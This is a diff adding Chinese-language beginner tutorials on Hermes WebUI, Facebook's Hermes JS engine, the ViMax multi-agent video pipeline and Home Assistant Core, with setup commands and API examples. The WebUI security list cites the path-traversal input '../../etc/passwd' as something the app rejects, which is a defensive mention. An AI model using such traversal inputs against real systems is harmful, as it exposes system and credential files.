+- 创建、重命名、复制、删除、搜索会话
+- 会话归档（隐藏但不删除）
+- 会话分组（按项目、按日期）
+- 标签和星标
+
+**安全**
+- 可选密码保护
+- Passkey（WebAuthn）支持
+- 安全头（防止点击劫持等攻击）
+- 文件路径遍历保护（`../../etc/passwd` 会被拒绝）
+
+**部署**
+- 直接运行：`python3 bootstrap.py` 或 `./start.sh`
+- Docker 一键部署
+- SSH 隧道远程访问
+- 手机浏览器也能用（响应式设计）
+
+## 5. 架构总览
+
+```
+浏览器
+  │
+  ├─ GET /              → 静态页面（HTML + CSS + JS）
+  ├─ POST /api/chat/start → 发送消息，创建流
+  ├─ GET  /api/chat/stream → 接收流式回复（SSE）
+  ├─ GET  /api/list      → 浏览文件目录
+  ├─ POST /api/upload    → 上传文件
+  └─ GET  /api/sessions  → 获取会话列表
+
+server.py（路由壳）
+  │
+  └─ api/（业务逻辑）
+       ├── routes.py    → 所有请求处理
+       ├── streaming.py → SSE 引擎 + AI 代理调用
+       ├── models.py    → 会话数据模型
+       ├── workspace.py → 文件操作
+       ├── auth.py      → 认证
+       └── config.py    → 配置加载
+```
+
+整个项目的代码量不小（超过 17,000 行 Python + JS），但结构非常清晰：后端只负责"接收请求、处理逻辑、返回结果"，前端只负责"渲染界面、发送请求、处理事件"。中间的通信靠 JSON 和 SSE 两种格式。
+
+## 6. 为什么这个项目值得学习
+
+对于零基础学习者来说，Hermes WebUI 是一个**完美的学习对象**，原因有三：
+
+第一，**技术栈简单**。不用学习 React 的生命周期、不用配置 Webpack、不用处理 npm 依赖冲突。Python 标准库 + 原生 JS，每一行代码你都能直接理解。
+
+第二，**架构完整**。虽然技术简单，但它实现了完整的 Web 应用：用户认证、数据持久化、流式通信、文件上传、前后端交互。学完后你具备了理解任何现代 Web 应用的基础。
+
+第三，**与真实 AI Agent 对接**。它不是空壳 demo，而是连接了真实可运行的 Hermes Agent——一个能写代码、能执行命令、能定时任务的自主 AI 助手。这让你理解了 AI Agent 从"对话界面"到"实际行动"的完整链路。
+
+## 7. 快速上手
+
+在项目目录中执行：
+
+```bash
+git clone https://github.com/nesquena/hermes-webui.git
+cd hermes-webui
+python3 bootstrap.py
+```
+
+`bootstrap.py` 会做以下几件事：自动检测或安装 Hermes Agent、创建 Python 虚拟环境、安装依赖、启动服务器（默认端口 8787）、在浏览器中打开界面。整个过程只需要一条命令。
+
+启动后访问 `http://127.0.0.1:8787` 即可使用。如果需要从手机或另一台电脑访问，可以通过 SSH 隧道：
+
+```bash
+ssh -N -L 8787:127.0.0.1:8787 user@your-server
+```
+
+## 8. 思考题
+
+这篇文章没有留作业，但你可以带着以下问题继续探索：
+
+1. SSE（服务器推送事件）和 WebSocket 有什么区别？为什么这个项目选择了 SSE 而不是 WebSocket？
+2. `server.py` 中用 `os.environ` 传递环境变量给 AI Agent，这种方式在多线程环境下有什么隐患？
+3. 如果把 `api/` 下的每个模块都拆成独立的文件（当前 `routes.py` 已经超过 9000 行），你会怎么划分？
+
+带着这些问题去读代码，你会比直接读文档收获更多。
diff --git a/src/content/docs/projects/hermes.md b/src/content/docs/projects/hermes.md
new file mode 100644
index 000000000..45f91ec0b
--- /dev/null
+++ b/src/content/docs/projects/hermes.md
@@ -0,0 +1,223 @@
+---
+title: Hermes — Facebook 的 React Native JS 引擎
+来源: https://github.com/facebook/hermes
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Hermes** 是 Meta（Facebook）为 React Native 定制的开源 JavaScript 引擎，2019 年起成为 RN 默认引擎。它的设计目标不是「在浏览器里跑 JS 最快」，而是**让手机 App 冷启动更快、内存更省、安装包更小**。
+
+日常类比：传统 JS 引擎（如 Chrome 的 V8）像**现场口译**——用户点开 App，引擎才开始读源码、做优化、再执行，首屏总要等一会儿。Hermes 像**提前把演讲稿翻成速记符号**（字节码 `.hbc`），打包进 App；用户一打开，虚拟机直接读速记稿开讲，跳过大量启动期编译工作。
+
+React Native 从 0.70 起默认捆绑 Hermes，开发者通常**无需额外配置**即可享受字节码预编译带来的启动收益。
+
+## 为什么重要
+
+不理解 Hermes，下面这些 RN 现象就说不清：
+
+- **为什么 Release 包比 Debug 启动快很多**——Release 构建会把 JS bundle 编译成 Hermes Bytecode（`.hbc`），Debug 往往直接解释执行源码
+- **为什么 RN 版本必须和 Hermes 版本对齐**——每个 Hermes 发行版针对特定 RN 版本构建，错配最坏情况会直接崩溃
+- **为什么 `global.HermesInternal` 能判断当前引擎**——这是 Hermes 注入的运行时内省对象，JSC 里没有
+- **为什么 OTA 热更新只换 JS bundle 也能生效**——Hermes 执行的是字节码文件，OTA 推下来的新 bundle 在客户端同样会被编译/加载为 bytecode
+- **为什么 Meta 还在做 Static Hermes**——在字节码之上叠加可选静态类型与 AOT 原生编译，进一步压榨热路径性能
+
+## 核心概念
+
+Hermes 的技术核心可以拆成六块：
+
+### 1. AOT 字节码，而非启动期 JIT
+
+桌面浏览器引擎（V8、SpiderMonkey）依赖**即时编译（JIT）**：运行一段时间后根据热点路径生成优化机器码，吞吐高，但**启动慢、内存占用大**——手机上不划算。
+
+Hermes 走 **Ahead-of-Time（AOT）** 路线：在**构建阶段**（`gradle` / Xcode Release）把 JavaScript 编译成紧凑的 **Hermes Bytecode（`.hbc`）**，运行时只做轻量解释或字节码翻译，不做重型推测式优化。
+
+```
+JS 源码 (.js / Metro bundle)
+        │
+        ▼  构建期 hermesc / Gradle 插件
+Hermes Bytecode (.hbc)  ← 打进 APK / IPA
+        │
+        ▼  启动期
+Hermes VM 解释执行 / 字节码翻译为机器码
+```
+
+### 2. 寄存器式虚拟机（Register-based VM）
+
+Hermes 字节码是**基于寄存器**的指令集（类似 Lua VM），不是栈式 VM。编译器前端先把 JS 降到 **Hermes IR**（SSA 形式、可带可选类型注解），再经寄存器分配、指令选择，生成变长操作码流。
+
+设计取舍（来自官方 Design 文档）：
+
+- 绝大多数移动 App 函数寄存器数 < 256，用 1 字节编码寄存器索引，解码极快
+- 超长跳转用 `Jmp` / `JmpLong` 等不同宽度指令，在体积与解码速度间折中
+- 字节码文件除指令流外，还打包字符串表、调试信息、函数元数据等段（见 `BytecodeFileFormat.h`）
+
+### 3. 与 JavaScriptCore（JSC）的对比
+
+| 维度 | Hermes | JavaScriptCore |
+|------|--------|----------------|
+| 主要场景 | React Native 移动端 | Safari、旧版 RN |
+| 启动策略 | 预编译字节码，快启 | 解释 + JIT，启动偏重 |
+| 内存 | 针对低内存设备优化 | 桌面级，移动上偏肥 |
+| 调试 | `hdb`、Chrome DevTools 协议集成 | Safari Web Inspector |
+| RN 现状 | **默认** | 可手动 opt-out |
+
+Hermes **不是**通用浏览器引擎——你不会在 Chrome 里看到它；它的优化假设是「bundle 已知、启动路径关键、长期运行内存敏感」。
+
+### 4. Bundled Hermes（捆绑发行）
+
+React Native 现在**自带**与当前 RN 版本匹配的 Hermes 预编译二进制，不再要求开发者自己编译 `hermes-engine`。这保证了 ABI 与 API 兼容，也简化了升级路径：升 RN → 自动升 Hermes。
+
+⚠️ **版本对齐规则**：始终使用与 RN 版本配套的 Hermes release；自行换 Hermes 版本是高级操作，错配风险高。
+
+### 5. HermesInternal 与运行时内省
+
+Hermes 在 JS 全局注入 `HermesInternal`，用于特性探测与引擎信息查询。React Native 官方文档推荐用它确认 Release 包确实跑在 Hermes 上：
+
+```javascript
+// 判断当前是否使用 Hermes（RN / Expo 通用）
+const isHermes = () => !!global.HermesInternal;
+
+// 读取引擎版本字符串（调试用）
+const hermesVersion = global.HermesInternal?.getRuntimeProperties?.()
+  ?.['OSS Release Version'];
+```
+
+若 `HermesInternal` 存在但启动仍然慢，要检查是否误走了**未预编译的 JS bundle**（应确认加载的是 `.hbc` 而非裸 `.js`）。
+
+### 6. Static Hermes 与字节码翻译（前瞻）
+
+Meta 在 `static_h` 分支推进 **Static Hermes**：可选 **TypeScript/Flow 风格类型注解**、更强的 AOT 优化、通过 LLVM 生成原生码，甚至能把完整 ES6 编译到 WebAssembly。
+
+另一条已公开的生产路线是 **设备端字节码翻译（Bytecode Translation）**：仍 OTA 友好的字节码包，在运行时把热点字节码轻量翻译为机器指令——比传统 JIT 轻得多，专为 Hermes AOT 管线设计。对现有无类型 npm 包也有中等加速；框架热路径加类型后收益更大。
+
+## 编译与执行流水线（零基础版）
+
+从「你写的 JS」到「手机上跑起来」，完整路径如下：
+
+1. **开发**：Metro bundler 把 `App.tsx` 等模块打成单个 `index.android.bundle` / `index.ios.bundle`
+2. **Release 构建**：Android Gradle 插件 / Xcode 构建步骤调用 `hermesc`，输出 `index.*.bundle.hbc`
+3. **打包**：`.hbc` 随原生二进制一起打进 APK/IPA
+4. **启动**：原生侧 `ReactInstance` 加载 `.hbc`，交给 Hermes VM 执行
+5. **调试**：Debug 构建可走 Chrome DevTools / Flipper，Hermes 支持调试协议
+
+本地不用 RN 也能体验这条管线——直接编译 Hermes CLI：
+
+```bash
+git clone https://github.com/facebook/hermes.git
+cmake -S hermes -B build -G Ninja -DCMAKE_BUILD_TYPE=Release
+cmake --build ./build
+
+# 把 JS 编译为字节码再执行
+echo "function add(a, b) { return a + b; } print(add(2, 40));" > demo.js
+./build/bin/hermes -emit-binary -out demo.hbc demo.js
+./build/bin/hermes demo.hbc
+# 期望输出: 42
+```
+
+工具链里还有：
+
+- `hermesc`：只编译，不执行
+- `hvm`：只执行字节码，不编译
+- `hbcdump`：反汇编 `.hbc`，读指令级细节
+- `hdb`：命令行调试器
+
+## 实践案例
+
+### 案例 1：在 React Native 里确认 Hermes 已启用
+
+新建 RN 0.70+ 项目后，Release 构建并检查：
+
+```bash
+# Android Release（会触发 bytecode 编译）
+npm run android -- --mode=release
+
+# iOS Release
+npm run ios -- --mode=Release
+```
+
+在 App 里加一段探测代码：
+
+```jsx
+import { Text, View } from 'react-native';
+
+export function EngineBadge() {
+  const engine = global.HermesInternal ? 'Hermes' : 'JavaScriptCore';
+  return (
+    <View>
+      <Text>JS Engine: {engine}</Text>
+    </View>
+  );
+}
+```
+
+Expo 项目在欢迎页通常也会直接显示 Hermes 标识。
+
+### 案例 2：对比 bytecode 体积与启动收益
+
+```bash
+# 假设已有 RN 打好的 bundle
+npx react-native bundle \
+  --platform android \
+  --dev false \
+  --entry-file index.js \
+  --bundle-output /tmp/index.android.bundle \
+  --assets-dest /tmp/assets
+
+# 用 Hermes 编译器生成 bytecode（路径因 RN 版本略有不同，常见在 node_modules 内）
+node_modules/react-native/sdks/hermesc/osx-bin/hermesc \
+  -O -emit-binary \
+  -out /tmp/index.android.bundle.hbc \
+  /tmp/index.android.bundle
+
+ls -lh /tmp/index.android.bundle /tmp/index.android.bundle.hbc
+```
+
+通常 `.hbc` 比原始 bundle **更小**（字符串去重、紧凑编码），加上省去启动期解析，TTI（可交互时间）在 Release 上改善明显——务必用真机 Release 对比，Debug 模式体现不出优势。
+
+### 案例 3：反汇编字节码理解 VM 在做什么
+
+```bash
+./build/bin/hbcdump demo.hbc
+```
+
+输出类似汇编的 Hermes 指令（`LoadParam`、`GetByIdShort`、`Call` 等），是理解「AOT 到底预干了什么」的最直观方式。
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| React Native | Hermes 是 RN 默认 JS 运行时；Fabric 新架构与 Hermes 协同优化 UI 线程 |
+| Metro | 负责打包 JS；Hermes 编译发生在 Metro 之后的原生构建阶段 |
+| Expo | 默认启用 Hermes，EAS Build Release 同样走 bytecode 路径 |
+| JavaScriptCore | RN 可选回退引擎，通过社区文档 opt-out |
+| V8 | 不用于 RN 移动端；设计哲学不同（JIT 吞吐 vs 移动快启） |
+| Flipper / DevTools | 调试 Hermes 执行中的 JS |
+
+## 常见误区
+
+1. **「Hermes 比 V8 慢」**——在单次长时间计算上可能成立，但 RN 关心的是**冷启动 + 内存 + 包体**，指标不同
+2. **「开了 Hermes 就行，不用打 Release」**——字节码预编译发生在 **Release 构建**；Debug 日常开发感觉不到优势
+3. **「有 HermesInternal 就一定用了 .hbc」**——非标准 bundle 加载方式可能导致只换引擎、未走 bytecode
+4. **「随意升级 hermes-engine 版本」**——必须与 RN 版本配套，否则 ABI 不匹配
+5. **「Hermes 不支持完整 ES6」**——主流语法已覆盖，但极端新特性可能滞后于 V8；升级 RN/Hermes 发行说明要读
+
+## 性能调优提示（面向 RN 开发者）
+
+- 测量用 **Release + 真机**，Sim/模拟器与 Debug 数据失真
+- 减少启动路径上的 **同步 require**，Metro 分包（`inlineRequires` 等）仍然重要——Hermes 快启不等于 bundle 变小
+- 大列表、重计算逻辑放 **原生模块或 JSI**，引擎再快也绕不过 JS 单线程模型
+- 关注 RN 新版本发行说明中的 **Hermes 升级日志**（字节码翻译、Typed bytecode 等）
+
+## 延伸阅读
+
+- 官方仓库：[facebook/hermes](https://github.com/facebook/hermes)
+- RN 集成文档：[Using Hermes](https://reactnative.dev/docs/hermes)
+- 设计细节：[doc/Design.md](https://github.com/facebook/hermes/blob/main/doc/Design.md)（字节码格式、寄存器分配）
+- IR 参考：[doc/IR.md](https://github.com/facebook/hermes/blob/main/doc/IR.md)
+- 构建与 CLI：[doc/BuildingAndRunning.md](https://github.com/facebook/hermes/blob/main/doc/BuildingAndRunning.md)
+- Static Hermes / JS→Wasm：[2024 博客](https://github.com/facebook/hermes/blob/static_h/doc/blog/2024-12-23-compiling-javascript-to-wasm.md)
+- 演讲：[Hermes: Better Performance with Bytecode Translation](https://speakerdeck.com/tmikov2023/hermes-better-performance-with-bytecode-translation-react-universe-2024)（Tzvetan Mikov, React Universe 2024）
diff --git a/src/content/docs/projects/hkuds-vimax.md b/src/content/docs/projects/hkuds-vimax.md
new file mode 100644
index 000000000..83dfb2d01
--- /dev/null
+++ b/src/content/docs/projects/hkuds-vimax.md
@@ -0,0 +1,188 @@
+---
+title: "ViMax：一个导演+编剧+制片人的AI视频生成系统"
+来源: https://github.com/HKUDS/ViMax
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# ViMax：一个导演+编剧+制片人的AI视频生成系统
+
+## 一、开场类比：拍电影需要几个人？
+
+假设你要拍一部短片，你需要：
+
+1. **编剧**：把"一只猫和一只狗是好朋友"这个想法，写成有情节、有人物的故事
+2. **导演**：设计分镜、决定每个镜头的角度和节奏
+3. **制片人**：准备角色设定图、背景参考图、保证角色从头到尾长得一样
+4. **摄影师**：实际拍摄（生成）每一个画面和镜头
+
+传统 AI 视频工具只做了第 4 步——你给一段描述，它生成几秒视频。角色会突然变脸、场景会凭空消失、没有声音和故事。
+
+**ViMax 做的事情是：把这四个角色全部用 AI Agent 实现，你只需要说一句"我要拍什么"，剩下的全部自动化。**
+
+这个项目来自香港大学数据科学实验室（HKUDS），GitHub 上已经接近 10,000 星。
+
+---
+
+## 二、核心概念：多 Agent 流水线
+
+ViMax 的核心设计是一个 **Agent 流水线**（Pipeline），每个 Agent 负责一个专业环节，像工厂的流水线一样一个接一个工作。
+
+```
+用户想法 → [编剧Agent] → [角色提取Agent] → [角色绘图Agent]
+                              → [分镜Agent] → [场景图生成Agent] → [视频生成Agent]
+                                                              → [拼接成完整视频]
+```
+
+每一步的输出都是下一步的输入，中间结果会保存到 `.working_dir` 目录，这样就算中途断了也能断点续传。
+
+---
+
+## 三、ViMax 的三种工作模式
+
+### 1. Idea2Video（想法→视频）
+
+你给一个"脑洞"，它帮你完成所有步骤。
+
+```python
+# main_idea2video.py
+from pipelines.idea2video_pipeline import Idea2VideoPipeline
+
+idea = """
+一只猫和一只狗是好朋友，它们遇到了一只新猫会怎样？
+"""
+user_requirement = """
+给小朋友看的，不超过3个场景。"""
+style = "Cartoon"
+
+pipeline = Idea2VideoPipeline.init_from_config(config_path="configs/idea2video.yaml")
+await pipeline(idea=idea, user_requirement=user_requirement, style=style)
+```
+
+运行之后，ViMax 会依次调用：
+- **Screenwriter**：把"脑洞"扩展成一个有起承转合的完整故事
+- **CharacterExtractor**：从故事中提取所有角色（名字、外貌、穿着）
+- **CharacterPortraitsGenerator**：为每个角色画正面/侧面/背面三视图
+- **StoryboardArtist**：设计每个场景的分镜
+- **VideoGenerator**：逐镜头生成视频，最后拼接
+
+### 2. Script2Video（剧本→视频）
+
+如果你已经有了写好的剧本，可以直接进入场景到视频的生成环节。
+
+```python
+# main_script2video.py
+script = """
+EXT. 学校体育馆 - 白天
+一群学生正在体育馆练习篮球。约翰（18岁，高个，运动员体型）是主力球员，
+正在练习运球和投篮。简（17岁，矮个，运动员体型）是助理教练，
+在帮助约翰练习。其他学生在观看并为他加油。
+约翰：（运球）我要进球了！
+简：（微笑）干得好，约翰！
+"""
+user_requirement = """
+节奏快，不超过20个镜头。"""
+style = "Animate Style"
+
+pipeline = Script2VideoPipeline.init_from_config(config_path="configs/script2video.yaml")
+await pipeline(script=script, user_requirement=user_requirement, style=style)
+```
+
+### 3. Agent TUI（交互式对话）
+
+ViMax 还提供了一个命令行交互界面，你可以和 Agent 对话、迭代、修改，直到满意为止。
+
+```bash
+# 先配置模型
+vimax tui new
+
+# 或者回复之前的对话
+vimax tui resume <session_id>
+
+# 对话中压缩上下文
+/compact
+```
+
+---
+
+## 四、关键技术细节
+
+### 角色一致性：ViMax 的杀手锏
+
+最头疼的问题是：AI 生成的视频里，角色第1帧穿红衣服，第10帧变成蓝衣服了。
+
+ViMax 的做法是：
+
+1. **提取角色**：用 LLM 从故事中抽取每个角色的静态特征（身高、发色、体型）和动态特征（穿着、配饰）
+2. **三视图生成**：为每个角色生成正面、侧面、背面三张参考图，存为 `front.png`、`side.png`、`back.png`
+3. **智能参考选择**：生成每个镜头时，自动从前面的帧中挑选最匹配的参考图，保证角色一致性
+4. **一致性检查**：用视觉模型（VLM）批量生成多张图，选出最一致的那张
+
+```python
+# CharacterExtractor 用 Pydantic 保证输出结构化
+class ExtractCharactersResponse(BaseModel):
+    characters: List[CharacterInScene] = Field(
+        ...,
+        description="从剧本中提取的所有角色列表"
+    )
+```
+
+### 技术栈
+
+| 组件 | 工具 |
+|------|------|
+| Agent 框架 | LangChain（ChatModel + Pydantic 输出解析） |
+| 重试机制 | Tenacity（指数退避重试） |
+| 环境管理 | uv（类似 pip 但更快） |
+| 环境要求 | Python 3.12+ |
+
+---
+
+## 五、配置文件示例
+
+ViMax 的模型配置在 YAML 文件中：
+
+```yaml
+# configs/idea2video.yaml
+chat_model:
+  init_args:
+    model: google/gemini-2.5-flash-lite-preview-09-2025
+    model_provider: openai
+    api_key: YOUR_API_KEY
+    base_url: https://openrouter.ai/api/v1
+  max_requests_per_minute: 500
+  max_requests_per_day: 2000
+
+image_generator:
+  class_path: tools.ImageGeneratorNanobananaGoogleAPI
+  init_args:
+    api_key: YOUR_IMAGE_API_KEY
+  max_requests_per_minute: 10
+
+video_generator:
+  class_path: tools.VideoGeneratorVeoGoogleAPI
+  init_args:
+    api_key: YOUR_VIDEO_API_KEY
+  max_requests_per_minute: 2
+```
+
+支持多种模型提供者：OpenAI、Google、OpenRouter 等，灵活切换。
+
+---
+
+## 六、总结
+
+ViMax 的本质思路是：**把拍电影的流程拆解成多个专业 Agent，每个 Agent 只做好一件事，串联起来就是一部完整的短片。**
+
+它解决的不是"能不能生成视频"，而是"能不能生成一个角色一致、有故事、有结构、有音频的完整作品"。
+
+对零基础学习者来说，理解 ViMax 的关键是抓住两点：
+
+1. **流水线思维**：复杂问题 → 拆分成小步骤 → 每步专业化解决
+2. **结构化输出**：用 Pydantic 保证 Agent 的输出格式固定，让下游 Agent 能直接消费
+
+---
+
+*下一问：你觉得这个流水线中，哪个环节最难设计？为什么？*
diff --git a/src/content/docs/projects/home-assistant.md b/src/content/docs/projects/home-assistant.md
new file mode 100644
index 000000000..1c89ab6e8
--- /dev/null
+++ b/src/content/docs/projects/home-assistant.md
@@ -0,0 +1,345 @@
+---
+title: Home Assistant Core — 开源智能家居的「中央调度台」
+来源: 'https://github.com/home-assistant/core'
+日期: '2026-06-13'
+分类: 操作系统
+子分类: 嵌入式
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 日常类比：小区物业的「中央调度台」
+
+想象你住在一栋智能公寓里。每间房有灯、空调、门锁、温湿度计；楼道有人体感应；车库有卷帘门。设备品牌各不相同——飞利浦灯、小米插座、Nest 温控、自家改装的 ESP32——它们不会「互相说话」。
+
+**物业前台**就是 Home Assistant Core 扮演的角色：
+
+- **登记在册**：每个设备在系统里有一个名字（`light.living_room`），当前状态写在册子上（开/关、温度 23.5°C）。
+- **广播通知**：有人进门（传感器触发），前台通过内部广播（Event Bus）喊一声「状态变了」，订阅这条消息的自动化规则就会响应。
+- **代你办事**：你说「把客厅灯调到 30% 亮度」，前台不是自己去拧灯泡，而是**调用对应厂家的标准指令**（Service：`light.turn_on`），各品牌驱动（Integration）翻译成具体协议（Zigbee、MQTT、HTTP……）。
+
+你不需要记住 47 个 App；前台统一接待。Home Assistant Core 就是这套前台的**核心程序**——用 Python 写的开源家庭自动化引擎，GitHub 约 79k Stars，托管在 [home-assistant/core](https://github.com/home-assistant/core)。
+
+和单纯买某个品牌生态的区别：Core **不绑定单一厂商**。它通过 2000+ Integration 把异构设备抽象成同一套「实体 + 状态 + 服务」模型，再用自动化、脚本、仪表盘把它们编排成「回家模式」「离家关灯」「温度过高开风扇」等场景。
+
+---
+
+## 解决什么问题
+
+| 痛点 | 没有统一平台时 | Home Assistant Core 的回应 |
+| --- | --- | --- |
+| 设备孤岛 | 每个品牌一个 App，无法联动 | Integration 把设备注册为统一 Entity |
+| 自动化碎片化 | IFTTT/厂商场景能力有限、难调试 | 本地 Trigger–Condition–Action 引擎，可 YAML 或 UI 编辑 |
+| 隐私与离线 | 云端自动化断网即失效 | Core 默认跑在本地（树莓派、NAS、旧笔记本） |
+| 状态不可见 | 不知道「现在家里到底是什么情况」 | State Machine 集中存储所有实体状态，开发者工具可查询 |
+| 二次开发难 | 各协议各写一套 | REST API / WebSocket / Python 库统一读写状态、调服务 |
+
+核心要回答的问题：**如何用一套本地、开源、可扩展的架构，把「物」变成「可查询、可触发、可编排」的软件对象？**
+
+---
+
+## Home Assistant 技术栈里 Core 在哪
+
+完整 Home Assistant 产品常包含多层（安装方式不同，你实际跑的组件也不同）：
+
+```
+┌─────────────────────────────────────────────────────────┐
+│  前端 UI（Lovelace 仪表盘）  ←→  Home Assistant Core    │
+│         REST API / WebSocket                             │
+├─────────────────────────────────────────────────────────┤
+│  Supervisor（可选，HA OS 专属）— 管理加载项、备份、更新   │
+├─────────────────────────────────────────────────────────┤
+│  操作系统层（HA OS / Docker / venv / 容器）              │
+└─────────────────────────────────────────────────────────┘
+         ▲                    ▲
+    Integration          MQTT / Zigbee / Thread …
+    (Philips, Xiaomi,    物理设备与云服务
+     ESPHome, …)
+```
+
+**本文聚焦 Core**：那个 7×24 跑着的 Python 程序。它不关心你是用 Docker 还是树莓派镜像，只要 Core 起来，Event Bus 就在跳、State Machine 就在记状态。
+
+---
+
+## 核心架构：四个「器官」
+
+官方开发者文档把 Core 拆成四个协作部件（外加大量 helper）：
+
+| 组件 | 职责 | 日常类比 |
+| --- | --- | --- |
+| **Event Bus** | 事件的发布与订阅，系统心跳 | 小区广播喇叭 |
+| **State Machine** | 维护所有 Entity 的当前状态，变更时发 `state_changed` | 物业台账本 |
+| **Service Registry** | 注册并执行 `domain.service` 动作 | 前台可代办的业务清单 |
+| **Timer** | 每秒发 `time_changed` | 挂钟，到点触发定时自动化 |
+
+数据流可以简化为：
+
+```
+设备/Integration ──更新──► State Machine ──state_changed──► Event Bus
+                                                              │
+自动化/脚本 ◄──监听──────────────────────────────────────────┘
+     │
+     └──call_service──► Service Registry ──► Integration 驱动硬件
+```
+
+理解这条链路后，读日志、写自动化、调 API 都不会迷路：**一切都是状态变化和服务调用，经由事件总线粘合**。
+
+---
+
+## 核心概念
+
+### 1. Entity（实体）与 Entity ID
+
+**Entity** 是 Core 里「一样东西」的最小单位：一盏灯、一个传感器、一个人、甚至太阳。每个实体有全球唯一的 **Entity ID**，格式为 `domain.object_id`：
+
+| 字段 | 含义 | 示例 |
+| --- | --- | --- |
+| `domain` | 类型/能力族 | `light`、`sensor`、`climate`、`person` |
+| `object_id` | 该类型下的实例名 | `living_room`、`outdoor_temperature` |
+| 完整 ID | `domain.object_id` | `light.living_room` |
+
+在 **设置 → 开发者工具 → 状态** 可看到全部实体的 `state` 与 `attributes`（亮度、单位、友好名称等）。
+
+### 2. State（状态）
+
+每个实体在 State Machine 里是一条记录，核心字段：
+
+- **state**：主状态值，字符串（`on` / `off` / `23.5` / `home`）
+- **attributes**：附加字典（`brightness`、`unit_of_measurement`、`friendly_name`）
+- **last_changed** / **last_updated**：变更时间戳
+
+状态变化会产生 `state_changed` 事件，是自动化最常用的触发源。
+
+### 3. Domain 与 Service（服务）
+
+**Service** 是「让系统做一件事」的 API，命名 `domain.service_name`：
+
+- `light.turn_on` / `light.turn_off` / `light.toggle`
+- `climate.set_temperature`
+- `script.good_morning`（自定义脚本也算服务）
+
+调用服务时可传 **service_data**（如 `entity_id`、`brightness`、`temperature`）。Integration 负责把通用服务翻译成设备协议。
+
+### 4. Integration（集成）
+
+Integration 是连接外部世界的插件：发现设备、创建 Entity、实现平台（platform）逻辑。配置方式分两类：
+
+- **UI 配置流（Config Flow）**：现代设备类集成的主流，向导式添加
+- **YAML**：部分高级项仍写在 `configuration.yaml`（语法见官方 YAML 文档）
+
+Core 启动时按配置加载 Integration 列表；每个 Integration 向 Service Registry 注册自己能处理的服务。
+
+### 5. Automation（自动化）：Trigger → Condition → Action
+
+自动化是 Core 最有用的用户面能力，结构固定：
+
+1. **Trigger（触发器）**：何时运行（状态变、时间到、MQTT 消息、webhook……）
+2. **Condition（条件，可选）**：触发后是否真执行（白天才开灯、仅当无人在家）
+3. **Action（动作）**：做什么（开灯、发通知、调用脚本）
+
+官方最小示例逻辑：*当 Paulus 从 `not_home` 变为 `home` 时，若太阳已下山，则打开客厅灯。*
+
+### 6. 配置文件
+
+- **`configuration.yaml`**：主配置入口，声明加载哪些 Integration、全局选项
+- **`automations.yaml`**：UI 创建的自动化列表（YAML 列表，每项需唯一 `id`）
+- 可用 `!include` 拆分大配置；敏感信息放 `secrets.yaml`
+
+改 YAML 后可在 UI **检查配置** 并 **重载**，多数 Integration 无需重启整个 Core。
+
+---
+
+## 安装方式（零基础怎么跑起来）
+
+| 方式 | 适合谁 | 说明 |
+| --- | --- | --- |
+| **Home Assistant OS** | 新手、树莓派 | 一体化镜像，带 Supervisor，最省心 |
+| **Container（Docker）** | 已有 NAS/服务器 | 只跑 Core 容器，自行管理持久卷 |
+| **Core（venv）** | 开发者 | `python -m homeassistant`，适合读源码、断点调试 |
+| **HA Green / Yellow 等硬件** | 想「插电即用」 | 官方设备预装 OS |
+
+零基础建议：先用 **HA OS 或 Docker** 把 Web UI 跑起来，添加一两个集成（如 `mobile_app`、`sun`、`ping`），在开发者工具里观察状态，再写第一条自动化。
+
+本地默认 Web 端口 **8123**，首次启动会引导创建账户与家庭位置（影响日出日落触发）。
+
+---
+
+## 代码示例一：YAML 自动化（进门开灯）
+
+下面是一条可放进 `automations.yaml` 或 UI「YAML 模式」的完整自动化：傍晚有人到家且客厅灯关着时，打开灯并设亮度。
+
+```yaml
+- id: welcome_home_evening
+  alias: 傍晚回家开客厅灯
+  description: 日落后有人到家则开灯
+  mode: single
+  trigger:
+    - platform: state
+      entity_id: person.jason
+      from: not_home
+      to: home
+  condition:
+    - condition: sun
+      after: sunset
+    - condition: state
+      entity_id: light.living_room
+      state: "off"
+  action:
+    - service: light.turn_on
+      target:
+        entity_id: light.living_room
+      data:
+        brightness_pct: 40
+        transition: 2
+```
+
+要点：
+
+- `trigger` 监听 `person` 实体状态迁移，不是轮询 GPS
+- `condition` 用 `sun` 与 `state` 过滤误触发
+- `action` 调用 `light.turn_on` 服务，属于声明式编排，不直接操作硬件
+
+---
+
+## 代码示例二：Python 通过 REST API 读状态、控设备
+
+Core 对外提供 REST API（需在 `configuration.yaml` 启用 `api:` 集成，UI 安装通常已自带）。先用 **长期访问令牌（Long-Lived Access Token）** 认证。
+
+```python
+#!/usr/bin/env python3
+"""通过 Home Assistant REST API 查询温度并在过热时开空调。"""
+import os
+import requests
+
+HA_URL = os.environ.get("HA_URL", "http://127.0.0.1:8123")
+TOKEN = os.environ["HA_TOKEN"]  # 在 UI：个人资料 → 安全 → 长期访问令牌
+
+HEADERS = {
+    "Authorization": f"Bearer {TOKEN}",
+    "Content-Type": "application/json",
+}
+
+
+def get_state(entity_id: str) -> dict:
+    r = requests.get(f"{HA_URL}/api/states/{entity_id}", headers=HEADERS, timeout=10)
+    r.raise_for_status()
+    return r.json()
+
+
+def call_service(domain: str, service: str, **data) -> list:
+    url = f"{HA_URL}/api/services/{domain}/{service}"
+    r = requests.post(url, headers=HEADERS, json=data, timeout=10)
+    r.raise_for_status()
+    return r.json()
+
+
+def main() -> None:
+    temp_entity = "sensor.living_room_temperature"
+    climate_entity = "climate.living_room_ac"
+
+    state = get_state(temp_entity)
+    temp = float(state["state"])
+    print(f"当前温度: {temp} {state['attributes'].get('unit_of_measurement', '°C')}")
+
+    if temp >= 28.0:
+        print("温度过高，开启空调并设 26°C")
+        call_service(
+            "climate",
+            "set_temperature",
+            entity_id=climate_entity,
+            temperature=26,
+            hvac_mode="cool",
+        )
+    else:
+        print("温度正常，无需操作")
+
+
+if __name__ == "__main__":
+    main()
+```
+
+等价的 `curl` 开灯命令（便于 shell 脚本集成）：
+
+```bash
+curl -X POST "${HA_URL}/api/services/light/turn_on" \
+  -H "Authorization: Bearer ${HA_TOKEN}" \
+  -H "Content-Type: application/json" \
+  -d '{"entity_id": "light.living_room", "brightness_pct": 30}'
+```
+
